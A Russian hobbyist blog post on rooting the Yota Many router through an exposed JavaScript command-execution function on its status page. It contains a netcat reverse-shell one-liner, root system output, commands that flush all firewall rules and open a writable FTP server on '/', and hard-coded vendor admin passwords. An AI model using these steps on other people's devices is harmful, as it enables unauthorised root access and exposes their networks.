Заглянем под юбку новой Yota Many

в 19:23, , рубрики: linux, Yota Many, Сетевое оборудование, системное администрирование

Добрый день!
Как Вы думаете, каким минимальным количеством инструментов можно получить SSH-доступ к роутеру Yota Many?
А SSH-доступ с root-правами?

Вы, скорее всего удивитесь, но ответ — двумя, в обоих случаях. Это Ваш браузер и Netcat.

Я очень удивился, когда случайно в списке подключаемых JS-скриптов на странице http://status.yota.ru/ я увидел
этот http://status.yota.ru/js/devControl.js, а в нём вот такую функцию:

function cmsSystem(s,callback) {
    if (simulator) {
        setTimeout(function () { callback(0); },100);
        return;
    }

	var r={};
	r.authparam=calcAuthParam();
	r.system=s;
	r.command="system";
    $.post(
        devCtrlUrl, r, callback, "json"
    ).error(devErrorHandler);
}

А использовалась эта функция, в этом же файле, например, так:

cmsSystem(
        "( killall up_cli ; rm -rf /mnt/jffs2/upload/* ) 1>/dev/null 2>/dev/null",
        function() { callback(true); }
    ); 

Чувствуете чем пахнет?
Да, эта функция выполняла команду в консоли роутера, но вывода результата она не имела (ну, точнее имела, но не совсем результата).
Тогда я решил поступить следующим образом.

Первое, что нам нужно — скачать Netcat(Windows, Unix) и запустить его с параметрами:

nc -n -vv -l -p 5566

Где:

  • 5566 — порт на нашем компьютере, на котором Netcat будет ждать соеденения.

Получаем следующее:

listening on [any] 5566 ...

Второе — запустить браузер и перейти в консоль JavaScript (в Google Chrome — F12, вкладка Console) и ввести команду:

cmsSystem("nc 10.0.0.33 5566 -e /bin/sh", null);

Где:

  • 10.0.0.33 — IP-адрес выданный Вашему компьютеру роутером.
  • 5566 — порт на нашем компьютере, на котором мы ждем подключения.

Через мгновение в нашей консоли мы увидим:

connect to [10.0.0.33] from (UNKNOWN) [10.0.0.2] 48656

После чего смело выполняем команды так, как будто мы это делали по SSH (все команды выполняются от имени root).

Информация о системе, процессоре, памяти и т.п.

id

uid=0(root) gid=0(root)

uname -a

Linux 9615-cdp 3.0.21+ #1 PREEMPT Tue Apr 30 18:09:49 CST 2013 armv7l GNU/Linux

cat /proc/version

Linux version 3.0.21+ (kevin@kevin-android-build-system) (gcc ver1117 (prerelease) (GCC)) 
#1 PREEMPT Tue Apr 30 18:09:49 CST 2013

cat /proc/cpuinfo

Processor       : ARMv7 Processor rev 1 (v7l)
BogoMIPS        : 274.02
Features        : swp half thumb fastmult vfp edsp neon vfpv3 tls vfpv4
CPU implementer : 0x41
CPU architecture: 7
CPU variant     : 0x0
CPU part        : 0xc05
CPU revision    : 1

Hardware        : QCT MSM9615 CDP
Revision        : 0000
Serial          : 0000000000000000

cat /proc/meminfo

MemTotal:          44184 kB
MemFree:            2476 kB
Buffers:               0 kB
Cached:            10108 kB
SwapCached:            0 kB
Active:            13868 kB
Inactive:           4840 kB
Active(anon):       8652 kB
Inactive(anon):       16 kB
Active(file):       5216 kB
Inactive(file):     4824 kB
Unevictable:           0 kB
Mlocked:               0 kB
HighTotal:             0 kB
HighFree:              0 kB
LowTotal:          44184 kB
LowFree:            2476 kB
SwapTotal:             0 kB
SwapFree:              0 kB
Dirty:                 0 kB
Writeback:             0 kB
AnonPages:          8616 kB
Mapped:             5388 kB
Shmem:                68 kB
Slab:              16900 kB
SReclaimable:      11744 kB
SUnreclaim:         5156 kB
KernelStack:        1336 kB
PageTables:         1216 kB
NFS_Unstable:          0 kB
Bounce:                0 kB
WritebackTmp:          0 kB
CommitLimit:       22092 kB
Committed_AS:     484816 kB
VmallocTotal:     827392 kB
VmallocUsed:      301728 kB
VmallocChunk:     519164 kB

free -m

             total         used         free       shared      buffers
Mem:            43           40            2            0            0
-/+ buffers:                 40            2
Swap:            0            0            0

df -h

Filesystem                Size      Used Available Use% Mounted on
/dev/root                33.6M     30.1M      3.5M  90% /
tmpfs                    21.6M     52.0K     21.5M   0% /tmp
none                     21.6M      8.0K     21.6M   0% /dev
tmpfs                    21.6M      4.0K     21.6M   0% /dev/shm
/dev/mtdblock15          44.1M      1.4M     42.7M   3% /mnt/jffs2
/dev/mtdblock10          28.8M     19.9M      8.9M  69% /usr

top

Mem: 41756K used, 2428K free, 0K shrd, 0K buff, 10136K cached
CPU: 30.7% usr 23.0% sys  0.0% nic 46.1% idle  0.0% io  0.0% irq  0.0% sirq
Load average: 1.01 1.09 1.11 1/167 8372
 m  PID  PPID USER     STAT   VSZ %MEM CPU %CPU COMMAND
 8372  4979 root     R     3040  6.8   0 23.0 top
  862     1 root     S    96700218.3   0  0.0 QCMAP_ConnectionManager /etc/mobil
  672     1 root     S    86448195.2   0  0.0 /usr/bin/qmuxd
  864     1 root     S    46288104.5   0  0.0 lte_cm
  691     1 root     S    44960101.5   0  0.0 /usr/bin/netmgrd -u /etc/udhcpc.d/
  644     1 root     S    36400 82.2   0  0.0 qti
 4368     1 root     S    36384 82.1   0  0.0 /usr/bin/cxmapp
  602     1 root     S    34588 78.1   0  0.0 /bin/msg_center
  540     1 root     S    25424 57.4   0  0.0 /sbin/adbd
  707   688 root     S    20396 46.0   0  0.0 /usr/bin/mbimd
  663     1 root     S    20212 45.6   0  0.0 /usr/bin/atfwd_daemon
 1211     1 root     S    18272 41.2   0  0.0 /yota/cgi-bin/wpdaemon.cgi start
  775     1 root     S    18140 40.9   0  0.0 /bin/user_in_ctl server
  657     1 root     S    11604 26.2   0  0.0 /usr/bin/diagrebootapp
  783     1 root     S     9940 22.4   0  0.0 /bin/epd_ctl
 1116     1 root     S     4992 11.2   0  0.0 lighttpd -f /etc2/lighttpd/lighttp
  619   612 root     S     4368  9.8   0  0.0 up_cli
 4544     1 root     S     3908  8.8   0  0.0 hostapd -B /tmp/hostapd1.conf
  612     1 root     S     3040  6.8   0  0.0 /bin/sh /yota/up_cli_watchdog.sh
 4274     1 root     S     3040  6.8   0  0.0 /bin/sh /bin/modem_led.sh

iptables -L

Chain INPUT (policy ACCEPT)
target     prot opt source               destination
DROP       all  --  anywhere             10.0.0.0/24

Chain FORWARD (policy ACCEPT)
target     prot opt source               destination
DROP       all  --  anywhere             anywhere
DROP       all  --  anywhere             10.0.0.4

Chain OUTPUT (policy ACCEPT)
target     prot opt source               destination

Устройство, мягко говоря, не блещет производительностью.
У меня не получилось поставить что-либо через ipkg, из-за малого количества оперативки и отсутствия SWAP — ipkg постоянно падает с «segmentation fault» (может у меня руки кривые?)

Включаем стандартную админ-панель производителя

Включаем встроенный FTP-сервер

Для начала нам надо почистить iptables:

cmsSystem("iptables -F", null);
cmsSystem("iptables -X", null);
cmsSystem("iptables -t nat -F", null);
cmsSystem("iptables -t nat -X", null);
cmsSystem("iptables -t mangle -F", null);
cmsSystem("iptables -t mangle -X", null);
cmsSystem("iptables -P INPUT ACCEPT", null);
cmsSystem("iptables -P FORWARD ACCEPT", null);
cmsSystem("iptables -P OUTPUT ACCEPT", null);

После чего перезагрузить роутер:

rebootDevice(null);

Далее включаем FTP-сервер:

cmsSystem("tcpsvd -vE 0.0.0.0 21 ftpd -w /", null);

И любым FTP-клиентом заходим на ftp://10.0.0.1:21/

Идем в /etc2/lighttpd/ и правим lighttpd.conf, добавляем после $HTTP["host"] == "status.yota.ru" { ... } вот это:

$HTTP["host"] == "full.yota.ru" {
    server.document-root = "/www/"
}

Идем в /etc/ и правим hosts, добавляем в конце файла:

10.0.0.1 full.yota.ru

Переходим в браузере по адресу http://full.yota.ru/.
Вводим имя пользователя gemtek и пароль gemtek0978 (или operator, пароль operator).
Наслаждаемся нормальной, не урезанной административной панелью:
image

Имена пользователей находятся в /mnt/jffs2/conf/user/ui.conf, пароли в /mnt/jffs2/conf/user/httpasswd.conf
Пароли настоятельно рекомендую изменить!

На этом моё баловство закончилось, но я надеюсь, что в комментариях подскажут как побороть проблемы с ipkg и восстановлением состояния iptables после перезагрузки(которое, кстати, не влияет на FTP сервер).

Автор: dkuzevanov

Источник

* - обязательные к заполнению поля


https://ajax.googleapis.com/ajax/libs/jquery/3.4.1/jquery.min.js